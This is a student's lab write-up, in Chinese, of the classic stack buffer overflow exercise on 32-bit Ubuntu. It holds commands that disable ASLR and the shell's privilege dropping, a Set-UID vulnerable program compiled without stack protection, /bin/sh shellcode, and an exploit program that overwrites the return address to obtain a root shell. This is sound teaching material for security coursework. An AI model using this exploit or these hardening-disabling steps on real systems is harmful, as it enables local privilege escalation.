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20181334《信息安全系统设计与实现》缓冲区溢出漏洞实验

时间:2020-10-13 16:59:41      阅读:18      评论:0      收藏:0      [点我收藏+]

标签:随机   ubuntu   成功   原因   软件包   https   for   用户输入   另一个   

一、缓冲区溢出漏洞

通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。

造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。

一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root权限的shell。

为了达到这个目的,攻击者必须达到如下的两个目标:

1. 在程序的地址空间里安排适当的代码。

2. 通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。

二、实验具体操作

操作具体来源 https://www.shiyanlou.com/courses/231

1. 进入实验环境

打开虚拟机,进入linux环境,之前安装的是 64 位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境进行操作,所以首先输入命令安装一些用于编译 32 位 C 程序的软件包:

sudo apt-get update

sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev

sudo apt-get install -y python3.6-gdbm gdb

2. 关闭Ubuntu Linux 系统中缓冲区溢出的防护措施

首先关闭随机初始地址,Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这会使得猜测准确的内存地址变得十分困难,所以使用命令关闭这一功能。

sudo sysctl -w kernel.randomize_va_space=0

其次在/bin/bash 关掉中防护措施。为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用

一个 shell,也不能在这个 shell 中保持 root 权限,所以需要使用命令来关闭防护措施。

linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

技术图片

输入命令进入linux32位环境

技术图片

3.程序代码

3.1 shellocode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址。

如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。

#include <stdio.h> 

int main() { 
    char *name[2];
    name[0] = "/bin/sh"; 
    name[1] = NULL; 
    execve(name[0], name, NULL); 
}

此段代码的汇编版本为  

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.2 漏洞程序

新建一个文件,示例代码如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

编译程序,并设置 SET-UID。命令如下

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。

-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

3.3 攻击程序

攻击漏洞程序,并获得root权限:相同目录下新建另一个文件,代码如下:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

 
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");  //在buffer特定偏移处起始的四个字节覆盖sellcode地址
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。

而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。

3.4 得到shellcode在内存中的地址

输入命令进行调试

gdb stack
disass main

技术图片

 esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。输入命令:

b *0x080484ee
r
i r $esp

技术图片

获得地址 0xffffd4c0 即为 str 的地址

计算shellcode 地址为 0xffffd4c0 + 0x64 = 0xffffd524(附十六进制计算器)

技术图片

http://www.99cankao.com/digital-computation/hex-addition-calculator.php

将计算出的地址改入要攻击的程序代码中,\x??\x??\x??\x?? 修改为计算的结果 \x24\xd5\xff\xff,注意顺序是反的。再进行编译:

gcc -m32 -o exploit exploit.c //要攻击的程序文件名

先运行攻击程序,再运行漏洞程序,观察结果:

 技术图片

攻击成功,获得root权限!

20181334《信息安全系统设计与实现》缓冲区溢出漏洞实验

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原文地址:https://www.cnblogs.com/zyj2000/p/13798881.html

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